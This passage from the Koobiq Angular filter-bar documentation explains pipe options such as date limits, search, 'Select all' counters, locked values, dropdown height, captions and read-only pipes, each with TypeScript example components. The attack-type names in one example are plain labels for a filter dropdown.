                removable: false,
                disabled: false
            },
            {
                name: 'Multi select',
                id: 'MultiSelect',
                type: KbqPipeTypes.MultiSelect,
                value: [],
                search: true,

                cleanable: false,
                removable: false,
                disabled: false
            },
            {
                name: 'Tree',
                id: 'Tree',
                type: KbqPipeTypes.TreeSelect,
                value: null,
                search: true,

                cleanable: false,
                removable: false,
                disabled: false
            },
            {
                name: 'Multi tree',
                id: 'MultiTree',
                type: KbqPipeTypes.MultiTreeSelect,
                value: null,
                search: true,
                selectAll: true,

                cleanable: false,
                removable: false,
                disabled: false
            }
        ]
    };
}
```

```scss filter-bar-value-template-example.scss
kbq-filter-bar {
    width: 320px;
}

.example-tree-node {
    display: flex;
    align-items: flex-start;
    gap: var(--kbq-size-s);
    width: 100%;
    min-width: 0;
}

.example-tree-node__icon {
    flex: 0 0 auto;
}

.example-tree-node__name {
    flex: 1 1 auto;
    min-width: 0;
    overflow-wrap: anywhere;
}

.example-tree-node__count {
    flex: 0 0 auto;
    margin-inline-start: auto;
    color: var(--kbq-foreground-contrast-secondary);
    font-variant-numeric: tabular-nums;
}
```

#### Collapsed tree on open

By default the `tree-select` and `multi-tree-select` pipes open the dropdown with every branch expanded. Pass `defaultExpanded: false` in the pipe template to open it collapsed instead: only the ancestors of the selected node(s) are expanded, so the current selection stays visible. Searching still expands the parent branches of the matches temporarily and restores the collapsed state once the query is cleared. The option is ignored by other pipe types.

#### Date and time limits

The `date` and `datetime` pipe templates accept optional limits for the custom period. `minDateTime` and `maxDateTime` bound the selectable range — the `datetime` pipe uses the full instant (date and time), the `date` pipe only the day. `minInterval` and `maxInterval` constrain the length of the selected period (`end − start`) as a duration-like object (e.g. `{ days: 3 }`, `{ hours: 1 }`); a period outside these bounds shows an error and disables Apply, with the limit formatted for the current locale. All four are ignored by other pipe types.

**Example: filter-bar-date-limits** (`filter-bar-date-limits`)

```ts filter-bar-date-limits-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { KbqFilterBarModule, KbqPipe, KbqPipeTemplate, KbqPipeTypes } from '@koobiq/components/filter-bar';
import { DateTime } from 'luxon';

@Component({
    selector: 'filter-bar-date-limits-example',
    imports: [
        KbqFilterBarModule,
        LuxonDateModule
    ],
    template: `
        <kbq-filter-bar [pipeTemplates]="pipeTemplates">
            @for (pipe of pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }
        </kbq-filter-bar>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarDateLimitsExample {
    pipes: KbqPipe[] = [
        {
            name: 'Date',
            type: KbqPipeTypes.Date,
            value: null,

            cleanable: true,
            removable: false,
            disabled: false
        },
        {
            name: 'Datetime',
            type: KbqPipeTypes.Datetime,
            value: null,

            cleanable: true,
            removable: false,
            disabled: false
        }
    ];

    pipeTemplates: KbqPipeTemplate[] = [
        {
            name: 'Date',
            type: KbqPipeTypes.Date,
            // Selectable window: from a year ago up to today (only the day is used by the `date` pipe).
            minDateTime: DateTime.now().minus({ years: 1 }),
            maxDateTime: DateTime.now(),
            // The selected period must not be longer than 3 months.
            maxInterval: { months: 3 },
            cleanable: true,
            removable: false,
            disabled: false
        },
        {
            name: 'Datetime',
            type: KbqPipeTypes.Datetime,
            // Selectable window: the last 7 days up to now (date and time).
            minDateTime: DateTime.now().minus({ days: 7 }),
            maxDateTime: DateTime.now(),
            // The selected period must be between 1 hour and 3 days long.
            minInterval: { hours: 1 },
            maxInterval: { days: 3 },
            cleanable: true,
            removable: false,
            disabled: false
        }
    ];
}
```

#### Search in pipes

If the filter has many values, it is useful to enable search in the drop-down menu.

**Example: filter-bar-search-in-pipes** (`filter-bar-search-in-pipes`)

```ts filter-bar-search-in-pipes-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    kbqBuildTree,
    KbqFilter,
    KbqFilterBarModule,
    KbqPipeTemplate,
    KbqPipeTypes
} from '@koobiq/components/filter-bar';

const DATA_OBJECT = {
    'No roles': 'value 0',
    'Management and Configuration': {
        Administrator: { value: 'value 1' },
        Operator: 'value 2',
        User: 'value 3'
    },
    'MP 10': {
        Administrator: 'value 4',
        Operator: 'value 5',
        User: 'value 6'
    },
    'Knowledge Base': {
        Administrator: 'value 7',
        Operator: 'value 8',
        User: 'value 9'
    }
};

@Component({
    selector: 'filter-bar-search-in-pipes-example',
    imports: [
        KbqFilterBarModule
    ],
    template: `
        <kbq-filter-bar
            [pipeTemplates]="pipeTemplates"
            [selectedAllEqualsSelectedNothing]="false"
            [(filter)]="activeFilter"
            (filterChange)="onFilterChange($event)"
            (onChangePipe)="onChangePipe($event)"
        >
            @for (pipe of activeFilter.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }
        </kbq-filter-bar>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarSearchInPipesExample {
    activeFilter: KbqFilter = this.getDefaultFilter();

    pipeTemplates: KbqPipeTemplate[] = [
        {
            name: 'Select',
            type: KbqPipeTypes.Select,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],

            cleanable: false,
            removable: false,
            disabled: false
        },
        {
            name: 'MultiSelect',
            type: KbqPipeTypes.MultiSelect,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],
            cleanable: false,
            removable: false,
            disabled: false
        },
        {
            name: 'TreeSelect',
            type: KbqPipeTypes.TreeSelect,
            values: kbqBuildTree(DATA_OBJECT, 0),

            cleanable: false,
            removable: false,
            disabled: false
        },
        {
            name: 'MultiTreeSelect',
            type: KbqPipeTypes.MultiTreeSelect,
            values: kbqBuildTree(DATA_OBJECT, 0),

            cleanable: false,
            removable: false,
            disabled: false
        }
    ];

    getDefaultFilter(): KbqFilter {
        return {
            name: '',
            readonly: false,
            disabled: false,
            changed: false,
            saved: false,
            pipes: [
                {
                    name: 'Select',
                    type: KbqPipeTypes.Select,
                    value: null,

                    search: true,

                    cleanable: true,
                    removable: false,
                    disabled: false
                },
                {
                    name: 'MultiSelect',
                    type: KbqPipeTypes.MultiSelect,
                    value: null,

                    search: true,

                    cleanable: true,
                    removable: false,
                    disabled: false
                },
                {
                    name: 'TreeSelect',
                    type: KbqPipeTypes.TreeSelect,
                    value: null,

                    search: true,

                    cleanable: true,
                    removable: false,
                    disabled: false
                },
                {
                    name: 'TreeSelect Multiple',
                    id: 'MultiTreeSelect',
                    type: KbqPipeTypes.MultiTreeSelect,
                    value: null,

                    search: true,

                    cleanable: true,
                    removable: false,
                    disabled: false
                }
            ]
        };
    }

    onFilterChange($event) {
        console.log('onFilterChange: ', $event);
    }

    onChangePipe($event) {
        console.log('onChangePipe: ', $event);
    }
}
```

#### Master checkbox "Select all"

If there are many values, "Select All" will allow you to select all values ​​or deselect all values ​​in one action. When searching, the master checkbox selects only the results that match the query.

Pass `selectAllCounter: true` in the pipe to show a counter of the elements "Select all" would toggle next to its row: all of them, or only the ones matching the search while searching. In a `multi-tree-select` only leaf nodes are counted — group nodes never are. Locked values are not counted, since "Select all" does not toggle them. The counter renders inside the "Select all" row, so `selectAll` has to be enabled for it to appear. The option is ignored by other pipe types.

**Example: filter-bar-select-all-counter** (`filter-bar-select-all-counter`)

```ts filter-bar-select-all-counter-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    kbqBuildTree,
    KbqFilter,
    KbqFilterBarModule,
    KbqPipeTemplate,
    KbqPipeTypes
} from '@koobiq/components/filter-bar';

const DATA_OBJECT = {
    'No roles': 'value 0',
    'Management and Configuration': {
        Administrator: { value: 'value 1' },
        Operator: 'value 2',
        User: 'value 3'
    },
    'MP 10': {
        Administrator: { value: 'value 4' },
        Operator: 'value 5',
        User: 'value 6'
    },
    'Knowledge Base': {
        Administrator: { value: 'value 7' },
        Operator: 'value 8',
        User: 'value 9'
    }
};

@Component({
    selector: 'filter-bar-select-all-counter-example',
    imports: [
        KbqFilterBarModule
    ],
    template: `
        <kbq-filter-bar
            [pipeTemplates]="pipeTemplates"
            [(filter)]="activeFilter"
            (filterChange)="onFilterChange($event)"
            (onChangePipe)="onChangePipe($event)"
        >
            @for (pipe of activeFilter?.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }
        </kbq-filter-bar>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarSelectAllCounterExample {
    activeFilter: KbqFilter | null = {
        name: '',
        readonly: false,
        disabled: false,
        changed: false,
        saved: false,
        pipes: [
            {
                name: 'MultiSelect',
                value: null,
                type: KbqPipeTypes.MultiSelect,

                search: true,
                selectAll: true,
                selectAllCounter: true,

                cleanable: true,
                removable: false,
                disabled: false
            },
            {
                name: 'TreeSelect Multiple',
                id: 'MultiTreeSelect',
                type: KbqPipeTypes.MultiTreeSelect,
                value: null,

                search: true,
                selectAll: true,
                selectAllCounter: true,

                cleanable: true,
                removable: false,
                disabled: false
            }
        ]
    };

    pipeTemplates: KbqPipeTemplate[] = [
        {
            name: 'MultiSelect',
            type: KbqPipeTypes.MultiSelect,
            values: Array.from({ length: 20 }, (_, i) => ({ name: `Option #${i}`, id: i.toString() })),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'MultiTreeSelect',
            type: KbqPipeTypes.MultiTreeSelect,
            values: kbqBuildTree(DATA_OBJECT, 0),
            cleanable: false,
            removable: true,
            disabled: false
        }
    ];

    onFilterChange($event) {
        console.log('onFilterChange: ', $event);
    }

    onChangePipe($event) {
        console.log('onChangePipe: ', $event);
    }
}
```

**Example: filter-bar-master-checkbox** (`filter-bar-master-checkbox`)

```ts filter-bar-master-checkbox-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    kbqBuildTree,
    KbqFilter,
    KbqFilterBarModule,
    KbqPipeTemplate,
    KbqPipeTypes
} from '@koobiq/components/filter-bar';

const DATA_OBJECT = {
    'No roles': 'value 0',
    'Management and Configuration': {
        Administrator: { value: 'value 1' },
        Operator: 'value 2',
        User: 'value 3'
    },
    'MP 10': {
        Administrator: 'value 4',
        Operator: 'value 5',
        User: 'value 6'
    },
    'Knowledge Base': {
        Administrator: 'value 7',
        Operator: 'value 8',
        User: 'value 9'
    }
};

@Component({
    selector: 'filter-bar-master-checkbox-example',
    imports: [
        KbqFilterBarModule
    ],
    template: `
        <kbq-filter-bar
            [pipeTemplates]="pipeTemplates"
            [(filter)]="activeFilter"
            (filterChange)="onFilterChange($event)"
            (onChangePipe)="onChangePipe($event)"
        >
            @for (pipe of activeFilter?.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }
        </kbq-filter-bar>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarMasterCheckboxExample {
    activeFilter: KbqFilter | null = {
        name: '',
        readonly: false,
        disabled: false,
        changed: false,
        saved: false,
        pipes: [
            {
                name: 'MultiSelect',
                value: [
                    { name: 'Option 1', id: '1' },
                    { name: 'Option 3', id: '3' },
                    { name: 'Option 4', id: '4' }
                ],
                type: KbqPipeTypes.MultiSelect,

                search: true,
                selectAll: true,

                cleanable: true,
                removable: false,
                disabled: false
            },
            {
                name: 'TreeSelect Multiple',
                id: 'MultiTreeSelect',
                type: KbqPipeTypes.MultiTreeSelect,
                value: ['value 2', 'value 3'],

                search: true,
                selectAll: true,

                cleanable: true,
                removable: false,
                disabled: false
            }
        ]
    };

    pipeTemplates: KbqPipeTemplate[] = [
        {
            name: 'MultiSelect',
            type: KbqPipeTypes.MultiSelect,
            values: Array.from({ length: 20 }, (_, i) => ({ name: `Option #${i}`, id: i.toString() })),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'MultiTreeSelect',
            type: KbqPipeTypes.MultiTreeSelect,
            values: kbqBuildTree(DATA_OBJECT, 0),
            cleanable: false,
            removable: true,
            disabled: false
        }
    ];

    onFilterChange($event) {
        console.log('onFilterChange: ', $event);
    }

    onChangePipe($event) {
        console.log('onChangePipe: ', $event);
    }
}
```

#### Locked values

The `multiselect` and `multi-tree-select` pipe templates accept an optional `lockedValues` — the list of values whose selection cannot be removed. They are always selected: rendered as disabled options with a checked checkbox, kept by clearing the pipe, and folded into an incoming filter value silently, without a change event. A pipe holding nothing but its locked values reads as empty — it renders unfilled and hides its clear button. Note that "reads as empty" is about the UI only: because a pipe's `value` is meant to be applied as-is, clearing removes just the entries the user was able to select, and both `onClearPipe` and `onChangePipe` still carry a `value` listing the locked ones.

"Select all" ignores them entirely: it neither selects nor deselects a locked option, and the master checkbox reflects only the options the user can actually toggle. Note that under `selectedAllEqualsSelectedNothing` a full selection is still committed as an empty `value` — there the locked values are implied rather than listed.

Entries of `lockedValues` have the same shape as the entries of the owning pipe's `value`: `{ name, id }` objects for `multiselect` (matched with `compareWith`, falling back to `id`), and raw node values for `multi-tree-select`. Locking a tree branch locks its whole subtree. The option is ignored by other pipe types.

Because locked options are rendered as `disabled`, keyboard navigation skips them.

**Example: filter-bar-locked-options** (`filter-bar-locked-options`)

```ts filter-bar-locked-options-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    kbqBuildTree,
    KbqFilter,
    KbqFilterBarModule,
    KbqPipeTemplate,
    KbqPipeTypes
} from '@koobiq/components/filter-bar';

const DATA_OBJECT = {
    'No roles': 'value 0',
    'Management and Configuration': {
        Administrator: 'value 1',
        Operator: 'value 2',
        User: 'value 3'
    },
    'MP 10': {
        Administrator: 'value 4',
        Operator: 'value 5',
        User: 'value 6'
    }
};

const SELECT_VALUES = Array.from({ length: 6 }, (_, i) => ({ name: `Option #${i}`, id: i.toString() }));

@Component({
    selector: 'filter-bar-locked-options-example',
    imports: [
        KbqFilterBarModule
    ],
    template: `
        <kbq-filter-bar
            [pipeTemplates]="pipeTemplates"
            [selectedAllEqualsSelectedNothing]="false"
            [(filter)]="activeFilter"
        >
            @for (pipe of activeFilter?.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }
        </kbq-filter-bar>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarLockedOptionsExample {
    activeFilter: KbqFilter | null = {
        name: '',
        readonly: false,
        disabled: false,
        changed: false,
        saved: false,
        pipes: [
            {
                name: 'MultiSelect',
                id: 'MultiSelect',
                type: KbqPipeTypes.MultiSelect,
                // The locked options are added on their own — listing them here is not required.
                value: [{ name: 'Option #3', id: '3' }],

                search: true,

                cleanable: true,
                removable: false,
                disabled: false
            },
            {
                name: 'MultiTreeSelect',
                id: 'MultiTreeSelect',
                type: KbqPipeTypes.MultiTreeSelect,
                value: ['value 2'],

                search: true,

                cleanable: true,
                removable: false,
                disabled: false
            }
        ]
    };

    pipeTemplates: KbqPipeTemplate[] = [
        {
            name: 'MultiSelect',
            id: 'MultiSelect',
            type: KbqPipeTypes.MultiSelect,
            values: SELECT_VALUES,
            // Same shape as the entries of the pipe's `value`: matched by the id-based comparator.
            lockedValues: [SELECT_VALUES[0]],
            cleanable: true,
            removable: false,
            disabled: false
        },
        {
            name: 'MultiTreeSelect',
            id: 'MultiTreeSelect',
            type: KbqPipeTypes.MultiTreeSelect,
            values: kbqBuildTree(DATA_OBJECT, 0),
            // Raw node values here; locking the `MP 10` branch would lock its whole subtree.
            lockedValues: ['value 0'],
            cleanable: true,
            removable: false,
            disabled: false
        }
    ];
}
```

#### Dropdown height

By default the dropdown list of the `select`, `multiselect`, `tree-select` and `multi-tree-select` pipes is 256px tall — exactly eight 32px options, so a list of eight fits without a scrollbar. Pass `panelMaxHeight` in the pipe template, in pixels, to change that:

```ts
pipeTemplates: KbqPipeTemplate[] = [
    {
        name: 'Select',
        type: KbqPipeTypes.Select,
        values: [/* ... */],
        panelMaxHeight: 160,

        cleanable: false,
        removable: false,
        disabled: false
    }
];
```

The value caps the scrollable list only, and the list's own padding is added on top of it — so a multiple of the 32px option height fits without a scrollbar and without a clipped row. The pipe's search field is rendered above the list and adds to the panel's total height, while the "select all" row scrolls with the options and is counted by the cap. A value taller than the room left in the viewport is clipped by the overlay rather than scrolled. Omitting the option — or passing `null` — restores the default. The option is ignored by other pipe types.

An option with a `caption`, and any option under `multilineOptions`, is taller than 32px, so fewer of them fit.

**Example: filter-bar-panel-max-height** (`filter-bar-panel-max-height`)

```ts filter-bar-panel-max-height-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqFilter, KbqFilterBarModule, KbqPipeTemplate, KbqPipeTypes } from '@koobiq/components/filter-bar';

const OPTIONS = Array.from({ length: 12 }, (_, index) => ({ name: `Option ${index + 1}`, id: `${index + 1}` }));

@Component({
    selector: 'filter-bar-panel-max-height-example',
    imports: [
        KbqFilterBarModule
    ],
    template: `
        <kbq-filter-bar [pipeTemplates]="pipeTemplates" [(filter)]="activeFilter">
            @for (pipe of activeFilter.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }
        </kbq-filter-bar>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarPanelMaxHeightExample {
    activeFilter: KbqFilter = this.getDefaultFilter();

    pipeTemplates: KbqPipeTemplate[] = [
        {
            name: 'Default height',
            id: 'DefaultHeight',
            type: KbqPipeTypes.Select,
            values: OPTIONS,

            cleanable: false,
            removable: false,
            disabled: false
        },
        {
            name: '160px',
            id: 'CappedHeight',
            type: KbqPipeTypes.Select,
            values: OPTIONS,
            panelMaxHeight: 160,

            cleanable: false,
            removable: false,
            disabled: false
        }
    ];

    getDefaultFilter(): KbqFilter {
        return {
            name: '',
            readonly: false,
            disabled: false,
            changed: false,
            saved: false,
            pipes: [
                {
                    name: 'Default height',
                    id: 'DefaultHeight',
                    type: KbqPipeTypes.Select,
                    value: null,

                    cleanable: true,
                    removable: false,
                    disabled: false
                },
                {
                    name: '160px',
                    id: 'CappedHeight',
                    type: KbqPipeTypes.Select,
                    value: null,

                    cleanable: true,
                    removable: false,
                    disabled: false
                }
            ]
        };
    }
}
```

#### Caption in options

Add `caption` to an option of a `select`, `multiselect`, `tree-select` or `multi-tree-select` pipe to show a second line in the dropdown — a technical identifier, for example.

Both lines are truncated by default; `multilineOptions: true` wraps them instead. A `valueTemplate` replaces the default option content, including the caption, and search then matches only the option `name`.

**Example: filter-bar-option-caption** (`filter-bar-option-caption`)

```ts filter-bar-option-caption-example.ts
import { ChangeDetectionStrategy, Component, computed } from '@angular/core';
import {
    KbqFilter,
    KbqFilterBarModule,
    KbqPipeTemplate,
    KbqPipeTypes,
    KbqSelectValue,
    KbqTreeSelectNode
} from '@koobiq/components/filter-bar';

const EVENTS: KbqSelectValue[] = [
    { name: 'Event: Action', id: 'action', value: 'action', caption: 'action' },
    {
        name: 'Warning: additional information about the event that is far too long to be shown on a single line of the dropdown panel',
        id: 'warning',
        value: 'warning',
        caption:
            'A caption long enough to need a second line of its own once the panel stops growing, so it demonstrates wrapping when the available width of the dropdown panel is exceeded'
    },
    { name: 'Event: Threat type', id: 'threat', value: 'threat', caption: 'category.generic' },
    { name: 'Event: Source', id: 'source', value: 'source', caption: 'event.source' }
];

const TREE_EVENTS: KbqTreeSelectNode[] = [
    {
        name: 'Event fields',
        value: 'event',
        caption: 'event',
        children: [
            { name: 'Event: Action', value: 'action', caption: 'action', children: null },
            { name: 'Event: Threat type', value: 'threat', caption: 'category.generic', children: null },
            { name: 'Event: Source', value: 'source', caption: 'event.source', children: null }
        ]
    }
];

@Component({
    selector: 'filter-bar-option-caption-example',
    imports: [
        KbqFilterBarModule
    ],
    template: `
        <kbq-filter-bar [pipeTemplates]="pipeTemplates()" [(filter)]="activeFilter">
            @for (pipe of activeFilter.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }
        </kbq-filter-bar>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarOptionCaptionExample {
    activeFilter: KbqFilter = this.getDefaultFilter();

    readonly pipeTemplates = computed<KbqPipeTemplate[]>(() => [
        {
            name: 'Single line',
            id: 'SingleLine',
            type: KbqPipeTypes.MultiSelect,
            values: EVENTS,
            search: true,

            cleanable: true,
            removable: false,
            disabled: false
        },
        {
            name: 'Multiline',
            id: 'Multiline',
            type: KbqPipeTypes.MultiSelect,
            values: EVENTS,
            multilineOptions: true,
            search: true,

            cleanable: true,
            removable: false,
            disabled: false
        },
        {
            name: 'Select',
            id: 'Select',
            type: KbqPipeTypes.Select,
            values: EVENTS,
            search: true,
            multilineOptions: true,

            cleanable: true,
            removable: false,
            disabled: false
        },
        {
            name: 'Tree',
            id: 'Tree',
            type: KbqPipeTypes.TreeSelect,
            values: TREE_EVENTS,
            search: true,
            multilineOptions: true,

            cleanable: true,
            removable: false,
            disabled: false
        },
        {
            name: 'Multi tree',
            id: 'MultiTree',
            type: KbqPipeTypes.MultiTreeSelect,
            values: TREE_EVENTS,
            search: true,
            multilineOptions: true,

            cleanable: true,
            removable: false,
            disabled: false
        }
    ]);

    getDefaultFilter(): KbqFilter {
        return {
            name: '',
            readonly: false,
            disabled: false,
            changed: false,
            saved: false,
            pipes: [
                {
                    name: 'Single line',
                    id: 'SingleLine',
                    type: KbqPipeTypes.MultiSelect,
                    value: null,
                    search: true,

                    cleanable: true,
                    removable: false,
                    disabled: false
                },
                {
                    name: 'Multiline',
                    id: 'Multiline',
                    type: KbqPipeTypes.MultiSelect,
                    value: null,
                    search: true,

                    cleanable: true,
                    removable: false,
                    disabled: false
                },
                {
                    name: 'Select',
                    id: 'Select',
                    type: KbqPipeTypes.Select,
                    value: null,
                    search: true,

                    cleanable: true,
                    removable: false,
                    disabled: false
                },
                {
                    name: 'Tree',
                    id: 'Tree',
                    type: KbqPipeTypes.TreeSelect,
                    search: true,
                    value: null,

                    cleanable: true,
                    removable: false,
                    disabled: false
                },
                {
                    name: 'Multi tree',
                    id: 'MultiTree',
                    type: KbqPipeTypes.MultiTreeSelect,
                    value: null,
                    search: true,

                    cleanable: true,
                    removable: false,
                    disabled: false
                }
            ]
        };
    }
}
```

#### Parameter not specified

The dropdown can offer a way to find objects whose parameter has no value. The option goes at the top of the list and is localized. Its wording can be chosen to agree with the name of the filter.

**Example: filter-bar-not-specified** (`filter-bar-not-specified`)

```ts filter-bar-not-specified-example.ts
import { ChangeDetectionStrategy, Component, computed, linkedSignal } from '@angular/core';
import {
    KbqFilter,
    KbqFilterBarModule,
    KbqPipeTemplate,
    KbqPipeTypes,
    KbqSelectValue
} from '@koobiq/components/filter-bar';
import { injectLocalizedText } from '../localized-data';

const ATTACK_TYPES: KbqSelectValue[] = [
    'Adversary-in-the-Middle',
    'Brute Force',
    'Buffer Overflow',
    'Command and Control',
    'Credential Stuffing',
    'Cross-Site Scripting',
    'Denial of Service',
    'DNS Spoofing',
    'Drive-by Download',
    'Eavesdropping',
    'Exploit Kit',
    'Keylogging',
    'Man-in-the-Middle',
    'Phishing',
    'Privilege Escalation',
    'Ransomware',
    'Rootkit',
    'SQL Injection',
    'Trojan Horse',
    'Zero-Day Exploit'
].map((name) => ({ name, id: name, value: name }));

@Component({
    selector: 'filter-bar-not-specified-example',
    imports: [
        KbqFilterBarModule
    ],
    template: `
        <kbq-filter-bar [pipeTemplates]="pipeTemplates()" [(filter)]="activeFilter">
            @for (pipe of activeFilter().pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }
        </kbq-filter-bar>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarNotSpecifiedExample {
    /** Text the example owns; the option is worded to agree with the name of the filter. */
    protected readonly text = injectLocalizedText({
        'ru-RU': { name: 'Тип атаки', notSpecified: 'Не указан' },
        default: { name: 'Attack Type', notSpecified: 'Not specified' }
    });

    /** Objects whose attack type is not set: the first option of the list. */
    private readonly notSpecified = computed<KbqSelectValue>(() => ({
        name: this.text().notSpecified,
        id: 'NotSpecified',
        value: null
    }));

    readonly pipeTemplates = computed<KbqPipeTemplate[]>(() => [
        {
            name: this.text().name,
            id: 'AttackType',
            type: KbqPipeTypes.MultiSelect,
            values: [this.notSpecified(), ...ATTACK_TYPES],

            cleanable: false,
            removable: true,
            disabled: false
        }
    ]);

    // Rebuilt whenever the locale changes: `*kbqPipe` builds a pipe component once from the object it is
    // given, so relabelled pipes only reach the screen as new objects.
    readonly activeFilter = linkedSignal<KbqFilter>(() => ({
        name: '',
        readonly: false,
        disabled: false,
        changed: false,
        saved: false,
        pipes: [
            {
                name: this.text().name,
                id: 'AttackType',
                type: KbqPipeTypes.MultiSelect,
                value: [this.notSpecified()],
                search: true,
                selectAll: true,

                cleanable: false,
                removable: true,
                disabled: false
            }
        ]
    }));
}
```

#### No available values

Do not show the filter when there are definitely no values to choose from. If the filter cannot be hidden, a hint has to appear on click.

**Example: filter-bar-no-options** (`filter-bar-no-options`)

```ts filter-bar-no-options-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqFilter, KbqFilterBarModule, KbqPipeTemplate, KbqPipeTypes } from '@koobiq/components/filter-bar';

@Component({
    selector: 'filter-bar-no-options-example',
    imports: [
        KbqFilterBarModule
    ],
    template: `
        <kbq-filter-bar [pipeTemplates]="pipeTemplates" [(filter)]="activeFilter">
            @for (pipe of activeFilter.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }
        </kbq-filter-bar>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarNoOptionsExample {
    activeFilter: KbqFilter = this.getDefaultFilter();

    pipeTemplates: KbqPipeTemplate[] = [
        {
            name: 'Tenant',
            id: 'Tenant',
            type: KbqPipeTypes.Select,
            values: [],

            cleanable: false,
            removable: true,
            disabled: false
        }
    ];

    getDefaultFilter(): KbqFilter {
        return {
            name: '',
            readonly: false,
            disabled: false,
            changed: false,
            saved: false,
            pipes: [
                {
                    name: 'Tenant',
                    id: 'Tenant',
                    type: KbqPipeTypes.Select,
                    value: null,
                    search: true,

                    cleanable: false,
                    removable: true,
                    disabled: false
                }
            ]
        };
    }
}
```

The hint replaces the list of a `select`, `multiselect`, `tree-select` or `multi-tree-select` pipe whose template has no `values`; the search field and "Select all" are hidden. Its text comes from the localization — to word it after the filter, pass `noOptionsText` in the pipe template. The option is ignored by other pipe types.

#### Inactive filter

The filter value cannot be changed or deleted.

**Example: filter-bar-readonly-pipe** (`filter-bar-inactive-filter`)

```ts filter-bar-inactive-filter-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqFilter, KbqFilterBarModule, KbqPipeTypes } from '@koobiq/components/filter-bar';

@Component({
    selector: 'filter-bar-inactive-filter-example',
    imports: [
        KbqFilterBarModule
    ],
    template: `
        <kbq-filter-bar [(filter)]="activeFilter">
            @for (pipe of activeFilter?.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }
        </kbq-filter-bar>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarInactiveFilterExample {
    activeFilter: KbqFilter | null = {
        name: '',
        readonly: false,
        disabled: false,
        changed: false,
        saved: false,
        pipes: [
            {
                name: 'Filter',
                value: null,
                type: KbqPipeTypes.ReadOnly,

                cleanable: false,
                removable: false,
                disabled: true
            },
            {
                name: 'Filter',
                value: 'Value',
                type: KbqPipeTypes.ReadOnly,

                cleanable: false,
                removable: true,
                disabled: true
            }
        ]
    };
}
```

#### Search

Text search allows you to search for information based on any data, even if there are no separate filters for it.

Search splits a multi-word query into parts and searches for them independently, trims leading and trailing spaces, is case-insensitive, and folds diacritics. The algorithm is described in the [Smart search guide](https://koobiq.io/en/other/search-smart.md).

**Example: Filter-bar search** (`filter-bar-search`)

```ts filter-bar-search-example.ts
import { ChangeDetectionStrategy, Component, computed, linkedSignal } from '@angular/core';
import { createSearchPredicate } from '@koobiq/components/core';
import { KbqFilter, KbqFilterBarModule, KbqPipe, KbqPipeTypes } from '@koobiq/components/filter-bar';
import { injectLocalizedText } from '../localized-data';

interface Network {
    name: string;
    description: string;
}

/** Text search is the first pipe in every filter: always present, never removable. */
const createSearchPipe = (name: string): KbqPipe => ({
    name,
    type: KbqPipeTypes.Input,
    value: null,

    cleanable: true,
    removable: false,
    disabled: false
});

@Component({
    selector: 'filter-bar-search-example',
    imports: [KbqFilterBarModule],
    template: `
        <kbq-filter-bar [filter]="activeFilter()" (filterChange)="onFilterChange($event)">
            @for (pipe of activeFilter().pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }
        </kbq-filter-bar>

        <ul class="network-list">
            @for (network of filteredNetworks(); track network.name) {
                <li>
                    <strong>{{ network.name }}</strong>
                    <span>{{ network.description }}</span>
                </li>
            } @empty {
                <li>Nothing found</li>
            }
        </ul>
    `,
    styles: `
        .network-list {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-s);
            margin: var(--kbq-size-m) 0 0;
            padding: 0;
            list-style: none;
        }

        .network-list li {
            display: flex;
            gap: var(--kbq-size-s);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarSearchExample {
    readonly networks: Network[] = [
        { name: '10.125.123.0/24 - all', description: 'Development network' },
        { name: '10.125.10.0/24 - admin', description: 'Admin network' },
        { name: '10.125.11.0/24 - guest', description: 'Guest network with limited access' },
        { name: '172.16.0.0/16 - office', description: 'Main office network' },
        { name: '192.168.1.0/24 - lab', description: 'Testing laboratory' },
        { name: 'Café Wi-Fi guest network', description: 'Guest cafe wireless network' }
    ];

    protected readonly text = injectLocalizedText({
        'ru-RU': { search: 'Поиск' },
        default: { search: 'Search' }
    });

